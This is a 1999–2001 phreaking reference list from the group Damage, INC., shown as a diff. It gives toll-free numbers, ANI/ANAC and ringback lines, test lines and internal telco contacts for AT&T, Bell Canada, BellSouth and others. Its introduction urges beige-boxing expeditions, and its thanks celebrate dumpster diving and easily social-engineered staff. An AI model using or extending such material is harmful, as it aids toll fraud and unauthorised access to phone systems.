+0800 890808 Hawaii Direct
+0800 890852 Hong Kong Direct
+0800 890877 USA Direct Sprint
+0800 890909 BT International
+0800 893300 Engineering test line, Hungary
+0800 894278 Microtest
+0800 894382 Novell Support: DOS7 & Personal Netware
+0800 896980 J C Penney USA retailer
+0800 897120 Quarterdeck UK
+0800 897121 Holiday Inn
+0800 897125 Phoenix Datacom
+0800 898563 Iomega
+0800 898604 Piste Artiste
+0800 898888 Sun Express (Netherlands)
+0800 899002 National Pen, Manchester
+0800 899688 Sprint/Travelex pre-paid phone cards
+
+Voyager's alt.2600/#Hack FAQ also contains international test numbers that are
+not included in this list.
+
+
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+
+Final Notes:
+
+If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List,
+discover any dupes, numbers that are no longer in service or ones that have
+been misidentified, please notify us in Email at damage_inc@disinfo.net and
+report the error. This list is updated and released on a quarterly basis.
+So, if you send numbers your alias will be included in the next edition.
+Contributions are encouraged and always appreciated.
+
+Thanks go out to the following people (in no particular order) for their
+contributions to this list. It's a large, ongoing project that wouldn't exist
+without their support, and we appreciate the efforts that they've made towards
+this compilation of numbers. If you contributed in some way but were neglected
+to be mentioned, contact Damage, INC. and notify us about the oversight.
+
+Contributors/Greets:
+
+THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada,
+Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision,
+Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y,
+Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper,
+Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, KingPiN,
+tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin, Snake Eyes,
+not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204),
+Hollow Point, Metabolis, Phractal, absolut zero (416), The Anchorite, Vortex,
+La Jolla, aeon, Charles Forbin, Telco Terminus, BiohazzardTen, zxyx, Rev-Eng,
+Dark Tangent, Jack Phlash, Cyb0rg/ASM, dea)(alm, , roamer1, The Exec,
+C5man, Schizophreakic, The Propagandist, XORo, Crazy Horse, Di4BoLiK SLiM,
+Grandmaster Ratte', Mogel, Jason Scott, AtomicGurl, ic0n (440), Captain Bizarro,
+Aquila, Magma, Phist (905), TipnRinger, Jeff (IT).
+
+Greets to all of the telco employees that know us and converse with us in a
+polite, friendly, intelligent manner. To the few telcos that still have toll
+free numbers with an ANAC, thanks for not removing that important feature.
+
+Special Thanks to:
+
+All of the places that have easily accessible, unshreded documents, manuals, and
+lists of numbers in clean, unmonitored, unlocked, dumpsters.
+
+All of the people that've been so generous as to readily divulge information
+while I was scanning and dialed their number.
+
+Lax security and people that are easily social engineered.
+
+All webmasters of quality phreaking/telephony related sites.
+
+Minor Threat and Mucho Maas for ToneLoc.
+
+Scavenger for Scavenger-Dialer.
+
+Everyone else that ever created any useful scan/phreak utilities, or wrote
+informative text files on phreaking.
+
+Voyager (TNO) for creating and maintaining the alt.2600/#Hack FAQ.
+
+Cult of the Dead Cow (cDc) for providing us with interesting, entertaining
+reading material, to peruse through while scanning all these years. Some of
+their phreak related t-files also helped inspire us to create the Phreaky Field
+NPA Reference, etc. And of course, they've influenced us in other positive
+ways as well.
+
+Hack Canada, Nettwerked, Shao, GHU, Pyrofreak and all the phreaks from coast to
+coast that support the Canadian hack/phreak scene.
+
+RedBoxChiliPepper (Phone Losers of America) for the PLA Telephone Director0y.
+It was an inspiration to us. :)
+
+It was created, scanned, compiled, verified and distributed by phreaks, for
+phreaks. And in addition to that, it's damn phreaky. Have phun... and look
+for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries.
+
+- Blackie Lawless says "Y'all better Phear the Beaver ya phreakin' phreaks!"
+
+ Copyright 2001 by Damage, INC. All Rights Reserved.
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+ \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
+ _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
+ \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
+======================== "The name speaks for itself!" ========================
+
+ Phreaky Field Phreaking List.
+ ú Fall 1999 Edition ú
+ (Released: 11/07/99)
+
+ http://surf.to/damage_inc
+ damage_inc@disinfo.net
+===============================================================================
+
+Introduction:
+
+This is the third edition of the Damage, INC. Phreaky Field Phreaking List. We
+recommend that you print it out and take it with you on beige boxing/junction
+boxing expeditions or for use as a reference while at payphones. Hell, just
+take it with you wherever you travel. You never know when you're going to need
+it. :) This comprehensive list includes many toll free numbers for telcos,
+test numbers, conferences, computer companies, carriers, cellular, and other
+services, etc. It's not just damn phreaky, it's the phreakiest!
+
+Disclaimer:
+
+The Damage, INC. Phreaky Field Phreaking List is for informational purposes
+only. We are not responsible for how it is used, including but not restricted
+to any fraudulent, illegal acts that may be committed, unauthorized access of
+systems, loss/theft of services or any damages that may be caused as a result
+of someone else's activities. If/how you use these numbers is entirely your
+choice. In summary, you're legally responsible for your own deeds and actions.
+Now that the legal shit has been thoroughly covered, here's what you have all
+been waiting for... :)
+
+-------------------------------------------------------------------------------
+ ANACs/ANIs and Ringbacks:
+-------------------------------------------------------------------------------
+
+(514) 320-0047 Slow ANAC for Montreal, Quebec.
+(514) 320-1147 Fast ANAC for Montreal, Quebec.
+(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI)
+(613) 320-2232 ANI for Ottawa, Ontario.
+(954) 780-2411 ANI.
+
+1-800-346-0152 ANI.
+1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers
+ free 1-800 blocking and ANAC.
+1-800-487-9240 ANI (doesn't work from 519)
+1-800-514-9939 ANI (doesn't work from 416/519)
+1-800-532-7486 ANI (Hit option 1, then option 1 again then listen)
+1-800-555-1160 ANI (always busy now...)
+1-800-555-1170 ANI (always busy now...)
+1-800-569-5699 ANI (press "7*#")
+1-800-638-2392 Press "2" for ANI info.
+1-800-666-1379 Press "1,3,1" for ANI when the message begins.
+1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode.
+
+320-XXX-XXXX Ringback for Montreal, Quebec.
+507-XXX-XXXX Ringback for Alberta.
+590-XXX-XXXX Ringback for 204 NPA.
+954-780-6321 Ringback for 954 NPA.
+954-999-XXXX Ringback for 954 NPA.
+999-XXX-XXXX Ringback for 519 NPA.
+999-XXX-XXXX Ringback for North Bay, Ontario (705)
+999-XXX-XXXX Ringback for Ottawa, Ontario (613)
+999-XXX-XXXX Ringback for portions of Toronto, Ontario (416)
+
+
+-------------------------------------------------------------------------------
+ AT&T:
+-------------------------------------------------------------------------------
+
+1-800-221-0000 AT&T Interactive Advantage Customer Support Line.
+1-800-221-7680 AT&T Digital Video Center.
+1-800-222-0300 AT&T Main Number.
+1-800-222-0400 AT&T Custom Care Centre (for long distance service)
+1-800-222-1000 AT&T Customer Care Center.
+1-800-222-3000 AT&T Customer Service.
+1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones.
+1-800-222-7956 AT&T Global ISDN Customer Care Center.
+1-800-225-5288 (1-800-CALL-ATT)
+1-800-225-5856 AT&T's Vendor Agent Program.
+1-800-235-4288 AT&T America.
+1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet)
+1-800-242-6005 AT&T Internet Services.
+1-800-243-0506 AT&T Find America Directory Service.
+1-800-247-6636 AT&T Wireless Services In-Flight Customer Care.
+1-800-248-3632 AT&T's Data Network Business Information Solutions.
+1-800-255-1242 AT&T Customer Information Center (Canada)
+1-800-258-0123 AT&T Customer Care Center.
+1-800-268-5931 AT&T Wireless Service VMB.
+1-800-268-5939 AT&T (Operator)
+1-800-305-9494 AT&T Wireless (MetroCall) Messaging.
+1-800-322-MWBE AT&T Supplier Diversity Program Information Line.
+1-800-325-0138 AT&T Small Business Customer Care.
+1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings)
+1-800-342-5288 AT&T Customer Care.
+1-800-348-8288 AT&T Shareholder Services.
+1-800-351-5855 AT&T Helpdesk.
+1-800-387-1026 AT&T Canada Business Sales.
+1-800-387-1926 AT&T Canada Long Distance Services.
+1-800-4-ONE-RATE AT&T One Rate plan subscriptions.
+1-800-400-1447 AT&T WorldNet Service Billing.
+1-800-418-8999 AT&T Customer Care Center. (long distance service)
+1-800-423-4343 AT&T Universal Card.
+1-800-424-6030 AT&T's Matching Gift Processing Center.
+1-800-425-5288 AT&T Products and Services.
+1-800-426-8686 AT&T Printed Directories. (U.S. only)
+1-800-428-8468 AT&T Global Services Center.
+1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center.
+1-800-432-6600 AT&T Customer Information Center (USA)
+1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only)
+1-800-438-3151 AT&T Wireless, Job Line.
+1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates.
+1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services.
+1-800-483-9288 AT&T and Texaco's Information Line.
+1-800-522-2157 AT&T Investigations Department.
+1-800-525-7955 AT&T Direct Call Cards.
+1-800-528-0465 AT&T CampusWide Access Solutions.
+1-800-538-5345 AT&T Slamming Resolution Center.
+1-800-552-3373 AT&T Wireless Advanced Network Services Support.
+1-800-555-8111 AT&T Consumer Lease Services.
+1-800-562-2255 AT&T 1-800 Directory Advertising.
+1-800-562-6275 AT&T Message Sender (Send an automated message to any number in
+ the world with your voice. Accepts calling cards & credit cards)
+1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.)
+1-800-565-4708 AT&T Canada Long Distance Services.
+1-800-567-3692 AT&T Canada Long Distance Services. (French)
+1-800-567-4672 AT&T Canada Electronic Commerce Services.
+1-800-575-5511 AT&T Canada Long Distance Services.
+1-800-575-5533 AT&T Canada Residential Sales. (French)
+1-800-575-9999 AT&T Canada.
+1-800-628-8486 AT&T Language Line Services.
+1-800-634-8078 AT&T Billing Office/Accounts info.
+1-800-643-2255 AT&T Translation Service. (Foreign languages only)
+1-800-662-6214 AT&T Calling Card Protection line.
+1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card.
+1-800-670-2255 AT&T Canada Long Distance Services.
+1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated.
+1-800-678-7918 AT&T Business Customer Care Center.
+1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice)
+1-800-682-8786 AT&T Telecommunications Relay (TTY)
+1-800-7-HOSTIN AT&T Internet Services.
+1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services.
+1-800-752-0093 AT&T Language Line Services.
+1-800-752-6096 AT&T Language Line Customer Service Center.
+1-800-790-2255 AT&T Canada Long Distance Services.
+1-800-807-2466 AT&T Learning Points Program.
+1-800-820-6464 AT&T Digital Long Distance/ISDN Services.
+1-800-822-9009 AT&T Corporate Security, internal investigations.
+1-800-830-2255 AT&T Canada Long Distance Services.
+1-800-831-5259 AT&T WorldNet Business/Data Services.
+1-800-833-3232 AT&T ACS Long Distance Bill Inquiries.
+1-800-850-TIES AT&T. Call to setup Easy Reach 800s.
+1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf)
+1-800-855-2880 AT&T Long Distance Relay Service (TTY)
+1-800-855-2881 AT&T Long Distance Relay Service (automated/voice)
+1-800-855-2882 AT&T Long Distance Relay Service (TTY)
+1-800-855-2883 AT&T Long Distance Relay Service (TTY)
+1-800-858-9857 AT&T True Rewards (option 1)
+1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service.
+1-800-889-4408 AT&T NCC (Network Control Center) and TCC.
+1-800-892-3850 AT&T Wireless Long-Distance Service.
+1-800-958-2255 AT&T Canada Long Distance Services.
+1-800-967-5363 AT&T Worldnet Service.
+1-800-970-2255 AT&T Canada Long Distance Services.
+1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics.
+1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5)
+1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service.
+1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard)
+1-888-288-1233 AT&T Internet Service.
+1-888-8METNET MetroNet AT&T Canada.
+1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service.
+1-888-933-1212 AT&T Cellular phone accessories. (U.S. only)
+1-888-ATT-ALL1 AT&T Customer Care Center.
+1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ.
+1-888-ATT-TRW3 AT&T True Rewards Account questions.
+
+
+-------------------------------------------------------------------------------
+ Ameritech:
+-------------------------------------------------------------------------------
+
+(314) 444-4444 Ameritech (St. Louis Office)
+1-800-221-0994 Ameritech Cellular and Paging.
+1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois)
+1-800-323-7311 Ameritech Capital Services.
+1-800-327-3470 Ameritech Advertising Services.
+1-800-475-7449 Ameritech Pay Phone Repair.
+1-800-493-7243 Ameritech Quick Reach Pager Services.
+1-800-553-9591 Ameritech Pages Plus Advertising.
+1-800-660-3000 Ameritech Small Business Services.
+1-800-821-0173 Ameritech Cellular and Paging Services.
+1-800-873-5501 Ameritech's automated billing (RBOC)
+1-800-AMERITECH Ameritech.
+1-888-AMERITECH Ameritech.
+
+
+-------------------------------------------------------------------------------
+ BCTel/TELUS:
+-------------------------------------------------------------------------------
+
+1-800-447-2688 BCTel Mobility's EasyTouch Service.
+1-800-472-9773 TELUS (Payphone Dept.)
+1-800-563-0624 TELUS Fax.
+1-800-575-2355 BCTELUS Help Center.
+1-800-661-2355 BCTel Mobility Customer Service.
+1-800-661-4260 TELUS Advertising.
+1-800-663-1011 BCTel's Billing Inquiry System.
+1-800-663-1440 BCTel Call Center/Accounts.
+1-800-663-2234 BCTel Network Sales.
+1-800-663-2455 BCTel Mobility Customer Service Department.
+1-800-973-2223 TELUS Directory Delivery Service. (order phone books!)
+1-877-344-3330 BCTel Mobility.
+1-888-685-2355 BCTel Multiple Option Messaging.
+1-888-811-2323 BCTel Customer Service.
+1-888-867-7587 (1-888-TMS-PLUS) TELUS.
+1-888-905-2284 BCTel Interactive Business Solutions.
+
+
+-------------------------------------------------------------------------------
+ Bell Atlantic:
+-------------------------------------------------------------------------------
+
+1-800-221-4393 Bell Atlantic VMS.
+1-800-225-5400 Bell Atlantic.
+1-800-244-2355 Bell Atlantic's Interactive Demo Center.
+1-800-255-2255 Bell Atlantic 1-800-255-CALL.
+1-800-257-5554 Bell Atlantic Services/Computer Repair.
+1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair.
+1-800-297-2355 Bell Atlantic's Major Customer Center.
+1-800-327-8412 Bell Atlantic Professional Services.
+1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info)
+1-800-416-9639 Bell Atlantic Help Desk.
+1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept.
+1-800-538-4747 Bell Atlantic Mobile.
+1-800-556-2355 Bell Atlantic Communications.
+1-800-631-2355 Bell Atlantic Shareowner Services.
+1-800-636-2355 Bell Atlantic Communications.
+1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages)
+1-800-652-2355 Bell Atlantic Yellow Pages.
+1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department.
+1-800-727-2231 Bell Atlantic.
+1-800-830-2355 Bell Atlantic Mobile.
+1-800-843-2255 Bell Atlantic Small Business Direct Response Center.
+1-800-922-0204 Bell Atlantic Mobile.
+1-800-934-2255 Bell Atlantic.
+1-888-206-2355 Bell Atlantic.
+1-888-208-2355 Bell Atlantic.
+1-888-219-2355 Bell Atlantic.
+1-888-221-2355 Bell Atlantic.
+1-888-223-2355 Bell Atlantic.
+1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID.
+1-888-677-2355 Bell Atlantic View at One Support.
+1-888-730-2355 Bell Atlantic.
+1-888-741-2355 Bell Atlantic.
+1-888-743-2355 Bell Atlantic.
+1-888-745-2355 Bell Atlantic.
+1-888-749-2355 Bell Atlantic.
+1-888-751-2355 Bell Atlantic.
+1-888-781-2355 Bell Atlantic.
+1-888-782-2355 Bell Atlantic.
+1-888-969-2355 Bell Atlantic.
+1-888-983-2355 Bell Atlantic.
+1-888-984-2355 Bell Atlantic.
+1-888-985-2355 Bell Atlantic.
+1-888-986-2355 Bell Atlantic.
+1-888-988-2355 Bell Atlantic.
+1-888-989-2355 Bell Atlantic.
+1-888-990-2355 Bell Atlantic.
+1-888-992-2355 Bell Atlantic.
+1-888-993-2355 Bell Atlantic.
+1-888-996-2355 Bell Atlantic.
+1-888-997-2355 Bell Atlantic.
+
+
+-------------------------------------------------------------------------------
+ BCE/Bell Canada/ActiMedia/Mobility/Nexxia/Sympatico/etc:
+-------------------------------------------------------------------------------
+
+1-416-555-1313 Bell's local CN/A office for Toronto.
+310-2355 Telephone Directory Ordering (free local directories)
+310-BELL Bell Canada Customer Services. (toll free)
+310-SURF Bell Sympatico.
+811 Northwestel Call Centre. (BC, NWT, Yukon)
+
+1-800-225-5180 Bell Canada Client Service Center.
+1-800-238-8636 Bell Labs.
+1-800-253-5011 Bell Mobility Paging.
+1-800-256-2355 Bell Nexxia. (after hours OcTel VMB)
+1-800-263-3899 Bell Mobility Customer Service.
+1-800-263-7412 Bell Canada Millennium Help Line.
+1-800-263-8394 Bell Mobility.
+1-800-265-0123 Bell Mobility Ardis Division Sales.
+1-800-265-3076 Tele-Stat Satellite Network Operations Control.
+1-800-265-5925 Bell Data & I.X. Voice Repair.
+1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST)
+1-800-267-0424 Bell Nexxia Customer Care.
+1-800-267-1870 Tele-Stat Canada.
+1-800-267-2355 Bell Mobility Quebec.
+1-800-267-5353 Tele-Direct Atlantic.
+1-800-267-6511 IslandTel Special Needs Centre (Tdd)
+1-800-267-6574 Bell Canada Datapac Service Center.
+1-800-267-7002 Tele-Direct.
+1-800-267-7640 Bell Canada's Ident-a-call demonstration line. ("*" to enter VMS)
+1-800-267-9556 Bell Canada.
+1-800-268-1720 Bell Canada Multimedia.
+1-800-268-2323 Bell ActiMedia.
+1-800-268-2355 Bell Mobility Ottawa Office.
+1-800-268-3550 Bell ActiMedia Internet Services.
+1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories)
+1-800-268-5933 Bell Canada Quickchange Department.
+1-800-268-8531 Bell Data.
+1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send faxes)
+1-800-268-9107 Bell Canada Customer Care.
+1-800-268-9160 Bell Canada Information Service Line.
+1-800-270-2355 Business Consulting Group of Bell Canada.
+1-800-323-6628 Bell Laboratories.
+1-800-331-9948 Bell Canada Relay Service Customer Comment Line.
+1-800-339-6359 BCE Investor Relations. (Montreal)
+1-800-360-2373 Northern Telephone.
+1-800-360-8555 Northern Telephone Limited.
+1-800-361-0804 Tele-Stat.
+1-800-361-1423 Bell Canada Advantage Conferencing.
+1-800-361-3489 Bell Canada Customer Billing Center.
+1-800-361-6010 Bell ActiMedia Yellow Pages.
+1-800-361-7874 Bell Canada Millennium (Unknown)
+1-800-361-8717 Bell Canada Professional Services. (Montreal)
+1-800-363-2355 Bell Canada's Total Solution Center for Business.
+1-800-363-3781 Bell Mobility Paging.
+1-800-363-5001 Bell ActiMedia Yellow Pages.
+1-800-363-6522 Stentor's Calling Card Centre.
+1-800-363-9612 Bell Technical Services.
+1-800-387-4411 Bell Canada's Business Direct Marketing Centre.
+1-800-387-4441 Bell Advantage Call Centre Solutions.
+1-800-387-5072 Bell Mobility's Activation Department.
+1-800-387-5185 Bell Phonecentre Information Line.
+1-800-387-9571 Bell Mobility Radio.
+1-800-387-9999 Bell Gardium Security Representative.
+1-800-439-2355 Direct Bell. (Wireless Communications)
+1-800-461-1156 Bell ActiMedia.
+1-800-461-1747 Bell Canada Millennium (Voice Test)
+1-800-461-1760 Bell Canada Millennium (Unknown)
+1-800-461-1879 Bell Canada Millennium (Data Test)
+1-800-461-2921 Bell Canada Smart Touch Information Line.
+1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct)
+1-800-461-7243 Bell ActiMedia.
+1-800-463-4778 Bell Canada Professional Services. (Quebec City)
+1-800-463-4833 Bell ActiMedia Yellow Pages.
+1-800-463-5376 Bell CSR-Quebec (Quebec City)
+1-800-465-2355 Bell Mobility.
+1-800-465-6960 Bell ActiMedia.
+1-800-470-2355 Bell Mobility.
+1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center)
+1-800-521-2673 Bellcore.
+1-800-555-1111 Bell LD. 3 way calling, calling card and many other features.
+1-800-555-4999 Bell Canada Residential and Business Service.
+1-800-561-0934 BCE Inquiry Line.
+1-800-561-2355 Bell Mobility. (French)
+1-800-561-4459 NBTEL's NBNet Support line.
+1-800-561-6283 NBTEL Residencial Customer Service.
+1-800-561-8868 Stentor's Country Direct Information Line.
+1-800-561-8888 Stentor's Calling Card Centre.
+1-800-563-2900 NewTel Communications.
+1-800-563-3794 Bell Mobility (Ottawa Office)
+1-800-563-7171 NewTel Communications.
+1-800-563-7988 Newfoundland Telephones Mobile Service Department. (NewTel)
+1-800-563-8700 NewTel Communications.
+1-800-565-1290 Tele-Direct Atlantic.
+1-800-565-1570 IslandTel Customer Service.
+1-800-565-4287 IslandTel Business Inquiries.
+1-800-565-4737 IslandTel Business Office.
+1-800-565-6283 NBTEL Customer Service.
+1-800-567-2448 Bell Canada Millennium (Test Line)
+1-800-567-9633 Bell Canada (I think it's the main switchboard)
+1-800-611-6500 Bell Mobility Cellular.
+1-800-665-1800 NBTel.
+1-800-665-6000 NewTel Express.
+1-800-667-0123 Bell Mobility's Automated Express Lane System.
+1-800-667-2355 SaskTel Mobility.
+1-800-667-3500 SaskTel Business Solutions.
+1-800-667-5801 SaskTel International Head Office.
+1-800-667-6030 Bell Canada (French)
+1-800-667-6283 NBTEL.
+1-800-667-6840 SaskTel Mobility Customer Service.
+1-800-667-6870 SaskTel Repairs.
+1-800-668-0911 BCE Mobile Communications Inc.
+1-800-668-2355 Bell Canada.
+1-800-668-4862 Bell Canada Millennium (Coin)
+1-800-668-6851 Bell Canada Millennium (Alarm)
+1-800-668-6878 Bell Direct. (U.S. and Canada)
+1-800-668-9090 Bell Information Systems Repair Service.
+1-800-668-9608 Bell Canada Switch Control Centre.
+1-800-668-9716 Bell Canada Employment Centre. (Press "*" to access VMS)
+1-800-668-9877 Tele-Stat.
+1-800-722-2300 Nynex President Switchboard.
+1-800-724-4443 Bell Sympatico.
+1-800-735-3030 Cincinnati Bell Long Distance.
+1-800-749-0764 Bell Canada Human Resources.
+1-800-749-2538 Bell Canada. (Toronto Office)
+1-800-749-3081 Bell Canada Office.
+1-800-749-3085 Bell Canada Ontario Control Centre.
+1-800-749-3279 Bell Canada Business Sales.
+1-800-749-3743 Bell Canada. (Toronto Office)
+1-800-749-3745 Bell Canada Ontario Control Centre.
+1-800-749-4198 Bell Canada.
+1-800-749-4208 Bell Canada Ontario Control Centre.
+1-800-749-9362 Bell Canada Ontario Control Centre. (Regional Manager)
+1-800-749-9770 Bell Canada. (Toronto Office)
+1-800-772-2141 Bell Canada Millennium (Setshop)
+1-800-773-2121 Sympatico Customer Service. (Bell Canada's Internet service)
+1-800-789-9073 Bell Simple Connections.
+1-800-803-0077 Bell QuickChange Cards Customer Service.
+1-800-847-7303 Bell Minor Hockey Hotline.
+1-800-848-8353 Bell ActiMedia (Tele-Direct) Customer Service.
+1-800-848-8353 Bell ActiMedia.
+1-800-848-8353 Bell ActiMedia.
+1-800-855-0511 Bell Canada Relay Service (BCRS) Operator.
+1-800-862-6330 MTS (Manitoba Telephone System)
+1-800-871-3011 SaskTel Satellite Service.
+1-800-889-4672 Bell Canada Business.
+1-800-889-4686 Bell Canada's Business Direct Marketing Centre.
+1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service.
+1-800-931-3282 IslandTel Data Communications.
+1-800-936-6245 IslandTel. (IslandTel Express="1")
+1-800-957-9999 Bell Canada Long Distance.
+1-800-975-1969 SaskTel.
+1-800-984-2646 IslandTel.
+1-800-995-8887 Bell ActiMedia Sales Department.
+1-800-REWARDS Bell Canada Rewards.
+1-877-202-3206 Bell Canada. (Chinese)
+1-877-268-4273 Bell Gardium Sales Department.
+1-877-318-0859 Bell Sympatico.
+1-877-486-3472 Bell Canada's Interactive Sympatico Ordering Service.
+1-877-499-1260 Bell Canada's Smart Touch Promotion Line.
+1-877-499-1263 Bell Canada's Smart Touch Line.
+1-877-4PERCALL Bell Canada's (Dis)Advantage Per Call.
+1-877-506-BELL Bell ExpressVu.
+1-877-520-BELL Bell ExpressVu.
+1-877-652-4119 Bell's SmartTouch Promotion.
+1-877-70-SPEED Bell Sympatico.
+1-877-723-4400 Bell Mobility Totalcom.
+1-877-885-2424 Bell FirstRate 24 Hour Enrollment Service.
+1-877-90-SPEED Bell Sympatico.
+1-877-91-SPEED Bell Sympatico.
+1-877-ALL-WKND Bell Mobility.
+1-877-FIRSTRATE Bell FirstRate Interactive Information and Enrollment Service.
+1-888-217-6533 Bell Mobility Pager.
+1-888-217-6535 Bell Mobility Pager.
+1-888-217-6538 Bell Mobility Pager.
+1-888-217-6539 Bell Mobility Pager.
+1-888-217-6540 Bell Mobility Service.
+1-888-24-FIRST Bell FirstRate Interactive Information and Enrollment Service.
+1-888-242-2355 Bell (Spanish)
+1-888-291-6799 Bell Mobility Order Desk.
+1-888-299-0977 Bell Canada's Interactive Sympatico Ordering Service.
+1-888-308-5640 Bell Mobility Paging.
+1-888-333-4454 Bell Equipement D Imprimerie.
+1-888-368-9110 Northwestel Account Manager.
+1-888-377-2355 Bell Firstrate Interactive Information and Enrollment Service.
+1-888-378-2355 Bell Canada's Ontario Direct Marketing Center.
+1-888-386-5555 Stentor Communications Production Fund.
+1-888-388-2355 Bell Direct in Canada. (the same as 310-BELL)
+1-888-4-662453 (1-888-4-MOBILE) Bell Mobility Cellular.
+1-888-423-2333 Northwestel Business Support Centre.
+1-888-442-0222 Bell Mobility Accounts Receivable.
+1-888-457-7308 Bell Mobility Order Desk.
+1-888-457-7309 Bell Mobility.
+1-888-457-7310 Bell Mobility.
+1-888-490-3001 Tele-Direct Atlantic.
+1-888-542-3784 Bell Mobility Out of the Box Program.
+1-888-597-9999 Schwab Canada QUALCOMM Digital PCS phone from Bell Mobility.
+1-888-739-2737 (1-888-REWARDS) Bell Canada.
+1-888-788-2355 Bell Canada Business Consulting Group.
+1-888-794-0777 Stentor Canadian Network Management.
+1-888-865-2239 Bell Mobility Pager.
+1-888-904-2355 Bell Firstrate Interactive Information and Enrollment Service.
+1-888-932-6666 BCE Corp. Communications.
+1-888-DIRECPC Tele-Stat Canada's Direct PC Customer Care Centre.
+
+
+-------------------------------------------------------------------------------
+ BellSouth:
+-------------------------------------------------------------------------------
+
+1-800-285-2355 BellSouth.
+1-800-419-2355 BellSouth. (Spanish)
+1-800-436-8638 BellSouth Internet Home. (U.S. only)
+1-800-451-6549 BellSouth Customer Service.
+1-800-541-1229 BellSouth Financial Services.
+1-800-733-2355 BellSouth Phones.
+1-800-753-0223 BellSouth Order Line.
+1-800-767-2355 BellSouth Automated Billing Services.
+1-800-775-2355 BellSouth Phones.
+1-800-831-4323 BellSouth.
+1-800-832-6338 BellSouth Memory Call Service.
+1-800-842-1558 BellSouth Benefits Service Center.
+1-800-858-9413 BellSouth ISDN order line.
+1-800-925-0010 BellSouth Communications Systems.
+1-800-925-0049 BellSouth Equipment/Customer Changes. (U.S. only)
+1-800-925-2525 BellSouth Business.
+1-800-995-9999 BellSouth Phones.
+1-800-BELL-SOUTH (Collect, Calling Card and Credit Card calls)
+1-888-201-2355 BellSouth Benefit Enrollment System.
+1-888-203-2355 BellSouth.
+1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department.
+1-888-383-2355 BellSouth Cellular Fraud Prevention Center.
+1-888-462-8033 BellSouth COCOT Repair.
+1-888-543-2355 BellSouth Internet Business.
+1-888-837-1668 BellSouth Telecom Rental Services.
+
+
+-------------------------------------------------------------------------------
+ Cellular One:
+-------------------------------------------------------------------------------
+
+1-800-369-2355 Cellular One.
+1-800-381-2355 Cellular One.
+1-800-487-2355 Cellular One Customer Service.
+1-800-514-2355 Cellular One's Welcome line.
+1-800-567-2355 Cellular One.
+1-800-604-2355 Cellular One.
+1-800-670-2355 Communication One (authorized agent of Cellular One)
+1-800-CELL-ONE Cellular One. (U.S. only)
+1-888-345-2355 Cellular One Dispatch.
+1-888-522-2355 Cellular One.
+1-888-562-2355 Cellular One's Job Hotline.
+1-888-681-2355 Cellular One.
+1-888-CELLPHONE Cellular One.
+
+
+-------------------------------------------------------------------------------
+ GTE:
+-------------------------------------------------------------------------------
+
+1-800-225-5160 GTE Corporation Teleservicing System.
+1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance.
+1-800-272-3466 GTE Telecom.
+1-800-346-5800 GTE Business Sales Center.
+1-800-347-5665 GTE Express. (Cellular)
+1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only)
+1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line.
+1-800-366-5665 GTE Express. (Cellular)
+1-800-428-8722 GTE Superpages Internet Services.
+1-800-445-5288 GTE Business Sales Center.
+1-800-448-3795 GTE.
+1-800-472-4565 GTE Internetworking. (U.S. only)
+1-800-483-1000 (1-800-GTE-1000) GTE Repair Center.
+1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services.
+1-800-483-3000 GTE Billing Center.
